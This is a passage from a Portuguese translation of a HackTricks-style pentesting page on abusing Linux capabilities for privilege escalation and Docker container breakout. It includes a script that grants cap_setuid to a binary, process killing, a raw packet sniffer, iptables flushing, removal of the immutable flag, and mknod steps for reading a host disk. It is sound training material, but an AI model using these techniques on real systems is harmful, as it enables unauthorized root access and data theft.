#You can find which library you need to load checking the libraries of local setcap binary
|
||
# ldd /sbin/setcap
|
||
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")
|
||
|
||
libcap.cap_from_text.argtypes = [ctypes.c_char_p]
|
||
libcap.cap_from_text.restype = ctypes.c_void_p
|
||
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]
|
||
|
||
#Give setuid cap to the binary
|
||
cap = 'cap_setuid+ep'
|
||
path = sys.argv[1]
|
||
print(path)
|
||
cap_t = libcap.cap_from_text(cap)
|
||
status = libcap.cap_set_file(path,cap_t)
|
||
|
||
if(status == 0):
|
||
print (cap + " was successfully added to " + path)
|
||
```
|
||
{% endcode %}
|
||
```bash
|
||
python setcapability.py /usr/bin/python2.7
|
||
```
|
||
{% hint style="warning" %}
|
||
Observe que se você definir uma nova capacidade para o binário com CAP\_SETFCAP, você perderá essa capacidade.
|
||
{% endhint %}
|
||
|
||
Uma vez que você tenha a [capacidade SETUID](linux-capabilities.md#cap\_setuid), você pode ir para sua seção para ver como escalar privilégios.
|
||
|
||
**Exemplo com ambiente (Docker breakout)**
|
||
|
||
Por padrão, a capacidade **CAP\_SETFCAP é dada ao processo dentro do contêiner no Docker**. Você pode verificar isso fazendo algo como:
|
||
```bash
|
||
cat /proc/`pidof bash`/status | grep Cap
|
||
CapInh: 00000000a80425fb
|
||
CapPrm: 00000000a80425fb
|
||
CapEff: 00000000a80425fb
|
||
CapBnd: 00000000a80425fb
|
||
CapAmb: 0000000000000000
|
||
|
||
capsh --decode=00000000a80425fb
|
||
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
|
||
```
|
||
Esta capacidade permite **dar qualquer outra capacidade a binários**, então podemos pensar em **escapar** do contêiner **abusando de qualquer uma das outras quebras de capacidade** mencionadas nesta página.\
|
||
No entanto, se você tentar dar, por exemplo, as capacidades CAP\_SYS\_ADMIN e CAP\_SYS\_PTRACE ao binário gdb, você descobrirá que pode concedê-las, mas o **binário não conseguirá executar após isso**:
|
||
```bash
|
||
getcap /usr/bin/gdb
|
||
/usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip
|
||
|
||
setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb
|
||
|
||
/usr/bin/gdb
|
||
bash: /usr/bin/gdb: Operation not permitted
|
||
```
|
||
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: Este é um **superconjunto limitante para as capacidades efetivas** que a thread pode assumir. Também é um superconjunto limitante para as capacidades que podem ser adicionadas ao conjunto herdável por uma thread que **não possui a capacidade CAP\_SETPCAP** em seu conjunto efetivo._\
|
||
Parece que as capacidades Permitidas limitam aquelas que podem ser usadas.\
|
||
No entanto, o Docker também concede o **CAP\_SETPCAP** por padrão, então você pode ser capaz de **definir novas capacidades dentro das herdáveis**.\
|
||
No entanto, na documentação desta capacidade: _CAP\_SETPCAP : \[…] **adiciona qualquer capacidade do conjunto de limites da thread chamadora** ao seu conjunto herdável_.\
|
||
Parece que só podemos adicionar ao conjunto herdável capacidades do conjunto de limites. O que significa que **não podemos colocar novas capacidades como CAP\_SYS\_ADMIN ou CAP\_SYS\_PTRACE no conjunto herdável para escalar privilégios**.
|
||
|
||
## CAP\_SYS\_RAWIO
|
||
|
||
[**CAP\_SYS\_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) fornece uma série de operações sensíveis, incluindo acesso a `/dev/mem`, `/dev/kmem` ou `/proc/kcore`, modificar `mmap_min_addr`, acessar chamadas de sistema `ioperm(2)` e `iopl(2)`, e vários comandos de disco. O `FIBMAP ioctl(2)` também é habilitado por meio dessa capacidade, o que causou problemas no [passado](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). De acordo com a página do manual, isso também permite que o detentor `realize uma variedade de operações específicas de dispositivos em outros dispositivos`.
|
||
|
||
Isso pode ser útil para **escalonamento de privilégios** e **quebra do Docker.**
|
||
|
||
## CAP\_KILL
|
||
|
||
**Isso significa que é possível matar qualquer processo.**
|
||
|
||
**Exemplo com binário**
|
||
|
||
Vamos supor que o **`python`** binário tenha essa capacidade. Se você pudesse **também modificar alguma configuração de serviço ou socket** (ou qualquer arquivo de configuração relacionado a um serviço), você poderia criar um backdoor, e então matar o processo relacionado a esse serviço e esperar que o novo arquivo de configuração fosse executado com seu backdoor.
|
||
```python
|
||
#Use this python code to kill arbitrary processes
|
||
import os
|
||
import signal
|
||
pgid = os.getpgid(341)
|
||
os.killpg(pgid, signal.SIGKILL)
|
||
```
|
||
**Privesc com kill**
|
||
|
||
Se você tiver capacidades de kill e houver um **programa node rodando como root** (ou como um usuário diferente), você provavelmente poderia **enviar** o **sinal SIGUSR1** e fazer com que ele **abra o depurador node** para onde você pode se conectar.
|
||
```bash
|
||
kill -s SIGUSR1 <nodejs-ps>
|
||
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
|
||
```
|
||
{% content-ref url="electron-cef-chromium-debugger-abuse.md" %}
|
||
[electron-cef-chromium-debugger-abuse.md](electron-cef-chromium-debugger-abuse.md)
|
||
{% endcontent-ref %}
|
||
|
||
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervente para profissionais de tecnologia e cibersegurança em todas as disciplinas.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## CAP\_NET\_BIND\_SERVICE
|
||
|
||
**Isso significa que é possível escutar em qualquer porta (mesmo nas privilegiadas).** Você não pode escalar privilégios diretamente com essa capacidade.
|
||
|
||
**Exemplo com binário**
|
||
|
||
Se **`python`** tiver essa capacidade, ele poderá escutar em qualquer porta e até se conectar a partir dela a qualquer outra porta (alguns serviços exigem conexões de portas com privilégios específicos)
|
||
|
||
{% tabs %}
|
||
{% tab title="Listen" %}
|
||
```python
|
||
import socket
|
||
s=socket.socket()
|
||
s.bind(('0.0.0.0', 80))
|
||
s.listen(1)
|
||
conn, addr = s.accept()
|
||
while True:
|
||
output = connection.recv(1024).strip();
|
||
print(output)
|
||
```
|
||
{% endtab %}
|
||
|
||
{% tab title="Conectar" %}
|
||
```python
|
||
import socket
|
||
s=socket.socket()
|
||
s.bind(('0.0.0.0',500))
|
||
s.connect(('10.10.10.10',500))
|
||
```
|
||
{% endtab %}
|
||
{% endtabs %}
|
||
|
||
## CAP\_NET\_RAW
|
||
|
||
A capacidade [**CAP\_NET\_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite que processos **criem sockets RAW e PACKET**, permitindo que gerem e enviem pacotes de rede arbitrários. Isso pode levar a riscos de segurança em ambientes containerizados, como spoofing de pacotes, injeção de tráfego e contorno de controles de acesso à rede. Atores maliciosos poderiam explorar isso para interferir no roteamento de containers ou comprometer a segurança da rede do host, especialmente sem proteções adequadas de firewall. Além disso, **CAP_NET_RAW** é crucial para containers privilegiados suportarem operações como ping via solicitações RAW ICMP.
|
||
|
||
**Isso significa que é possível monitorar o tráfego.** Você não pode escalar privilégios diretamente com essa capacidade.
|
||
|
||
**Exemplo com binário**
|
||
|
||
Se o binário **`tcpdump`** tiver essa capacidade, você poderá usá-lo para capturar informações de rede.
|
||
```bash
|
||
getcap -r / 2>/dev/null
|
||
/usr/sbin/tcpdump = cap_net_raw+ep
|
||
```
|
||
Note que se o **ambiente** estiver concedendo essa capacidade, você também pode usar **`tcpdump`** para capturar tráfego.
|
||
|
||
**Exemplo com binário 2**
|
||
|
||
O seguinte exemplo é um código **`python2`** que pode ser útil para interceptar o tráfego da interface "**lo**" (**localhost**). O código é do laboratório "_The Basics: CAP-NET\_BIND + NET\_RAW_" de [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com)
|
||
```python
|
||
import socket
|
||
import struct
|
||
|
||
flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"]
|
||
|
||
def getFlag(flag_value):
|
||
flag=""
|
||
for i in xrange(8,-1,-1):
|
||
if( flag_value & 1 <<i ):
|
||
flag= flag + flags[8-i] + ","
|
||
return flag[:-1]
|
||
|
||
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
|
||
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30)
|
||
s.bind(("lo",0x0003))
|
||
|
||
flag=""
|
||
count=0
|
||
while True:
|
||
frame=s.recv(4096)
|
||
ip_header=struct.unpack("!BBHHHBBH4s4s",frame[14:34])
|
||
proto=ip_header[6]
|
||
ip_header_size = (ip_header[0] & 0b1111) * 4
|
||
if(proto==6):
|
||
protocol="TCP"
|
||
tcp_header_packed = frame[ 14 + ip_header_size : 34 + ip_header_size]
|
||
tcp_header = struct.unpack("!HHLLHHHH", tcp_header_packed)
|
||
dst_port=tcp_header[0]
|
||
src_port=tcp_header[1]
|
||
flag=" FLAGS: "+getFlag(tcp_header[4])
|
||
|
||
elif(proto==17):
|
||
protocol="UDP"
|
||
udp_header_packed_ports = frame[ 14 + ip_header_size : 18 + ip_header_size]
|
||
udp_header_ports=struct.unpack("!HH",udp_header_packed_ports)
|
||
dst_port=udp_header[0]
|
||
src_port=udp_header[1]
|
||
|
||
if (proto == 17 or proto == 6):
|
||
print("Packet: " + str(count) + " Protocol: " + protocol + " Destination Port: " + str(dst_port) + " Source Port: " + str(src_port) + flag)
|
||
count=count+1
|
||
```
|
||
## CAP\_NET\_ADMIN + CAP\_NET\_RAW
|
||
|
||
A capacidade [**CAP\_NET\_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) concede ao detentor o poder de **alterar configurações de rede**, incluindo configurações de firewall, tabelas de roteamento, permissões de soquete e configurações de interface de rede dentro dos namespaces de rede expostos. Também permite ativar o **modo promíscuo** nas interfaces de rede, permitindo a captura de pacotes entre namespaces.
|
||
|
||
**Exemplo com binário**
|
||
|
||
Vamos supor que o **binário python** tenha essas capacidades.
|
||
```python
|
||
#Dump iptables filter table rules
|
||
import iptc
|
||
import pprint
|
||
json=iptc.easy.dump_table('filter',ipv6=False)
|
||
pprint.pprint(json)
|
||
|
||
#Flush iptables filter table
|
||
import iptc
|
||
iptc.easy.flush_table('filter')
|
||
```
|
||
## CAP\_LINUX\_IMMUTABLE
|
||
|
||
**Isso significa que é possível modificar atributos de inode.** Você não pode escalar privilégios diretamente com essa capacidade.
|
||
|
||
**Exemplo com binário**
|
||
|
||
Se você descobrir que um arquivo é imutável e o python tem essa capacidade, você pode **remover o atributo imutável e tornar o arquivo modificável:**
|
||
```python
|
||
#Check that the file is imutable
|
||
lsattr file.sh
|
||
----i---------e--- backup.sh
|
||
```
|
||
|
||
```python
|
||
#Pyhton code to allow modifications to the file
|
||
import fcntl
|
||
import os
|
||
import struct
|
||
|
||
FS_APPEND_FL = 0x00000020
|
||
FS_IOC_SETFLAGS = 0x40086602
|
||
|
||
fd = os.open('/path/to/file.sh', os.O_RDONLY)
|
||
f = struct.pack('i', FS_APPEND_FL)
|
||
fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)
|
||
|
||
f=open("/path/to/file.sh",'a+')
|
||
f.write('New content for the file\n')
|
||
```
|
||
{% hint style="info" %}
|
||
Observe que geralmente este atributo imutável é definido e removido usando:
|
||
```bash
|
||
sudo chattr +i file.txt
|
||
sudo chattr -i file.txt
|
||
```
|
||
{% endhint %}
|
||
|
||
## CAP\_SYS\_CHROOT
|
||
|
||
[**CAP\_SYS\_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite a execução da chamada de sistema `chroot(2)`, que pode potencialmente permitir a fuga de ambientes `chroot(2)` através de vulnerabilidades conhecidas:
|
||
|
||
* [Como escapar de várias soluções chroot](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf)
|
||
* [chw00t: ferramenta de escape chroot](https://github.com/earthquake/chw00t/)
|
||
|
||
## CAP\_SYS\_BOOT
|
||
|
||
[**CAP\_SYS\_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) não apenas permite a execução da chamada de sistema `reboot(2)` para reinicializações do sistema, incluindo comandos específicos como `LINUX_REBOOT_CMD_RESTART2` adaptados para certas plataformas de hardware, mas também possibilita o uso de `kexec_load(2)` e, a partir do Linux 3.17, `kexec_file_load(2)` para carregar novos ou assinados kernels de falha, respectivamente.
|
||
|
||
## CAP\_SYSLOG
|
||
|
||
[**CAP\_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) foi separado do mais amplo **CAP_SYS_ADMIN** no Linux 2.6.37, concedendo especificamente a capacidade de usar a chamada `syslog(2)`. Essa capacidade permite a visualização de endereços de kernel via `/proc` e interfaces semelhantes quando a configuração `kptr_restrict` está em 1, que controla a exposição de endereços de kernel. Desde o Linux 2.6.39, o padrão para `kptr_restrict` é 0, significando que os endereços de kernel estão expostos, embora muitas distribuições definam isso como 1 (ocultar endereços, exceto do uid 0) ou 2 (sempre ocultar endereços) por razões de segurança.
|
||
|
||
Além disso, **CAP_SYSLOG** permite acessar a saída de `dmesg` quando `dmesg_restrict` está definido como 1. Apesar dessas mudanças, **CAP_SYS_ADMIN** mantém a capacidade de realizar operações `syslog` devido a precedentes históricos.
|
||
|
||
## CAP\_MKNOD
|
||
|
||
[**CAP\_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) estende a funcionalidade da chamada de sistema `mknod` além da criação de arquivos regulares, FIFOs (tubos nomeados) ou sockets de domínio UNIX. Permite especificamente a criação de arquivos especiais, que incluem:
|
||
|
||
- **S_IFCHR**: Arquivos especiais de caractere, que são dispositivos como terminais.
|
||
- **S_IFBLK**: Arquivos especiais de bloco, que são dispositivos como discos.
|
||
|
||
Essa capacidade é essencial para processos que requerem a habilidade de criar arquivos de dispositivo, facilitando a interação direta com hardware através de dispositivos de caractere ou bloco.
|
||
|
||
É uma capacidade padrão do docker ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)).
|
||
|
||
Essa capacidade permite realizar escalonamentos de privilégios (através da leitura completa do disco) no host, sob estas condições:
|
||
|
||
1. Ter acesso inicial ao host (sem privilégios).
|
||
2. Ter acesso inicial ao contêiner (privilegiado (EUID 0) e efetivo `CAP_MKNOD`).
|
||
3. O host e o contêiner devem compartilhar o mesmo namespace de usuário.
|
||
|
||
**Passos para Criar e Acessar um Dispositivo de Bloco em um Contêiner:**
|
||
|
||
1. **No Host como um Usuário Padrão:**
|
||
- Determine seu ID de usuário atual com `id`, por exemplo, `uid=1000(standarduser)`.
|
||
- Identifique o dispositivo alvo, por exemplo, `/dev/sdb`.
|
||
|
||
2. **Dentro do Contêiner como `root`:**
|
||
```bash
|
||
# Create a block special file for the host device
|
||
mknod /dev/sdb b 8 16
|
||
# Set read and write permissions for the user and group
|
||
chmod 660 /dev/sdb
|
||
# Add the corresponding standard user present on the host
|
||
useradd -u 1000 standarduser
|
||
# Switch to the newly created user
|
||
su standarduser
|
||
```
|
||
3. **De Volta ao Host:**
|
||
```bash
|
||
# Locate the PID of the container process owned by "standarduser"
|
||
# This is an illustrative example; actual command might vary
|
||
ps aux | grep -i container_name | grep -i standarduser
|
||
# Assuming the found PID is 12345
|
||
# Access the container's filesystem and the special block device
|
||
head /proc/12345/root/dev/sdb
|
||
```
|
||
Esta abordagem permite que o usuário padrão acesse e potencialmente leia dados de `/dev/sdb` através do contêiner, explorando namespaces de usuário compartilhados e permissões definidas no dispositivo.
|
||
|
||
### CAP\_SETPCAP
|
||
|
||
**CAP_SETPCAP** permite que um processo **altere os conjuntos de capacidades** de outro processo, permitindo a adição ou remoção de capacidades dos conjuntos efetivos, herdáveis e permitidos. No entanto, um processo só pode modificar capacidades que possui em seu próprio conjunto permitido, garantindo que não possa elevar os privilégios de outro processo além de seu próprio nível. Atualizações recentes do kernel apertaram essas regras, restringindo `CAP_SETPCAP` a apenas diminuir as capacidades dentro de seu próprio conjunto permitido ou dos conjuntos permitidos de seus descendentes, visando mitigar riscos de segurança. O uso requer ter `CAP_SETPCAP` no conjunto efetivo e as capacidades alvo no conjunto permitido, utilizando `capset()` para modificações. Isso resume a função central e as limitações de `CAP_SETPCAP`, destacando seu papel na gestão de privilégios e no aprimoramento da segurança.
|
||
|
||
**`CAP_SETPCAP`** é uma capacidade do Linux que permite que um processo **modifique os conjuntos de capacidades de outro processo**. Ela concede a capacidade de adicionar ou remover capacidades dos conjuntos de capacidades efetivas, herdáveis e permitidas de outros processos. No entanto, existem certas restrições sobre como essa capacidade pode ser usada.
|
||
|
||
Um processo com `CAP_SETPCAP` **só pode conceder ou remover capacidades que estão em seu próprio conjunto de capacidades permitido**. Em outras palavras, um processo não pode conceder uma capacidade a outro processo se não tiver essa capacidade. Essa restrição impede que um processo eleve os privilégios de outro processo além de seu próprio nível de privilégio.
|
||
|
||
Além disso, em versões recentes do kernel, a capacidade `CAP_SETPCAP` foi **ainda mais restrita**. Ela não permite mais que um processo modifique arbitrariamente os conjuntos de capacidades de outros processos. Em vez disso, **só permite que um processo diminua as capacidades em seu próprio conjunto de capacidades permitido ou no conjunto de capacidades permitido de seus descendentes**. Essa mudança foi introduzida para reduzir os riscos de segurança potenciais associados à capacidade.
|
||
|
||
Para usar `CAP_SETPCAP` de forma eficaz, você precisa ter a capacidade em seu conjunto de capacidades efetivas e as capacidades alvo em seu conjunto de capacidades permitido. Você pode então usar a chamada de sistema `capset()` para modificar os conjuntos de capacidades de outros processos.
|
||
|
||
Em resumo, `CAP_SETPCAP` permite que um processo modifique os conjuntos de capacidades de outros processos, mas não pode conceder capacidades que não possui. Além disso, devido a preocupações de segurança, sua funcionalidade foi limitada em versões recentes do kernel para permitir apenas a redução de capacidades em seu próprio conjunto de capacidades permitido ou nos conjuntos de capacidades permitidos de seus descendentes.
|
||
|
||
## Referências
|
||
|
||
**A maioria desses exemplos foi retirada de alguns laboratórios de** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com), então se você quiser praticar essas técnicas de privesc, recomendo esses laboratórios.
|
||
|
||
**Outras referências**:
|
||
|
||
* [https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux](https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux)
|
||
* [https://www.schutzwerk.com/en/43/posts/linux\_container\_capabilities/#:\~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.](https://www.schutzwerk.com/en/43/posts/linux\_container\_capabilities/)
|
||
* [https://linux-audit.com/linux-capabilities-101/](https://linux-audit.com/linux-capabilities-101/)
|
||
* [https://www.linuxjournal.com/article/5737](https://www.linuxjournal.com/article/5737)
|
||
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap\_sys\_module](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap\_sys\_module)
|
||
* [https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot](https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot)
|
||
|
||
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
{% hint style="success" %}
|
||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos no** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
{% endhint %}
|
||
</details>
|
||
{% endhint %}
|